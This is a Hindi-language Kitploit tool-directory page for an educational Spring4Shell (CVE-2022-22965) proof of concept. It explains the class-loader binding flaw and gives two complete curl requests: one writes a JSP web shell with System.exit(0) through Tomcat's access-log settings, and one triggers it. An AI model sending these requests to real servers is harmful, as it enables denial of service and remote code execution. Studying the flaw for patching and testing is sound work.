Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-22965 — शैक्षिक पैठ परीक्षण के लिए क्लास-लोडर हेरफेर के माध्यम से Tomcat को लक्षित करने वाला न्यूनतम Spring4Shell (CVE-2022-22965) शोषण प्रदर्शन, जिसमें चरण-दर-चरण curl-आधारित हमला श्रृंखला शामिल है। | Kitploit
उपकरण/GitHubGitHub/mwojterski/cve-2022-22965
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubmwojterski/cve-2022-22965

cve-2022-22965

शैक्षिक पैठ परीक्षण के लिए क्लास-लोडर हेरफेर के माध्यम से Tomcat को लक्षित करने वाला न्यूनतम Spring4Shell (CVE-2022-22965) शोषण प्रदर्शन, जिसमें चरण-दर-चरण curl-आधारित हमला श्रृंखला शामिल है।

रिपॉजिटरी देखें
4 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

न्यूनतम CVE-2022-22965 उदाहरण

इस लेखन के समय, spring-web request params binding (WebDataBinder), डिफ़ॉल्ट रूप से ऑब्जेक्ट की getClass() विधि तक पहुंच की अनुमति देता है। यह एक आंतरिक jvm विशिष्ट कार्यान्वयन विवरण है (मेरी विनम्र राय में उजागर नहीं किया जाना चाहिए)। जैसे, इसकी विशेषताएं बदल सकती हैं और jvm के भविष्य के संस्करणों के साथ विस्तारित हो सकती हैं। यह अनुरक्षकों के लिए एक निरंतर बोझ बनाता है, दुर्भावनापूर्ण अभिनेता उस शक्तिशाली पहुंच का दुरुपयोग करने के रचनात्मक तरीकों की भविष्यवाणी करने का प्रयास करते हैं।

इस विशेष CVE में, इसका कारण java 9 में शुरू की गई Class::getModule() विधि थी। इसने क्लास-लोडर तक असुरक्षित पहुंच खोल दी।

नीचे दिए गए उदाहरण में हमलावर इसका उपयोग टॉमकैट के एक्सेस लॉगर को पुन: कॉन्फ़िगर करने के लिए करता है। यह सामान्य रूप से सर्वर द्वारा प्राप्त प्रत्येक अनुरोध के बारे में संक्षिप्त जानकारी एक लॉग फ़ाइल में लिखता है। प्रॉपर्टी pattern परिभाषित करती है कि कौन सी जानकारी लिखी जाए, directory जहां लॉग फ़ाइल रखी जानी चाहिए, prefix, fileDateFormat और suffix फ़ाइल का नाम क्या होना चाहिए।

निम्नलिखित अनुरोध हमारे कमजोर poc-0 एप्लिकेशन के POST एंडपॉइंट को लक्षित करेगा। यह लॉगर को पुन: कॉन्फ़िगर करता है ताकि प्रत्येक संभाले गए अनुरोध के लिए एक <%{e}iSystem.exit(0);%{e}i> लाइन लिखी जाए, एक f.jsp फ़ाइल में webapps/ROOT निर्देशिका में, जहाँ %{e}i अनुरोध के हेडर e के मान के लिए एक प्लेसहोल्डर है।

यह लॉगर का एक अप्रत्याशित/रचनात्मक उपयोग है और बाकी मानक JSP और टॉमकैट एप्लिकेशन सर्वर की कार्रवाई है।

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

थोड़ी देर बाद, एक f.jsp फ़ाइल बनाई जाएगी, टॉमकैट द्वारा उठाई जाएगी, संकलित की जाएगी और ट्रैफिक की सेवा के लिए उजागर की जाएगी। निम्नलिखित अनुरोध इसे आमंत्रित करता है, जो एक एम्बेडेड System.exit(0); कोड निष्पादित करेगा और उस jvm को रोक देगा जिस पर यह चल रहा है।

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

यह DoS का एक उदाहरण है, लेकिन System.exit(0); एक सामान्य जावा कोड है, इसलिए हमलावर बहुत कुछ कर सकता है।

टूल डाउनलोड करें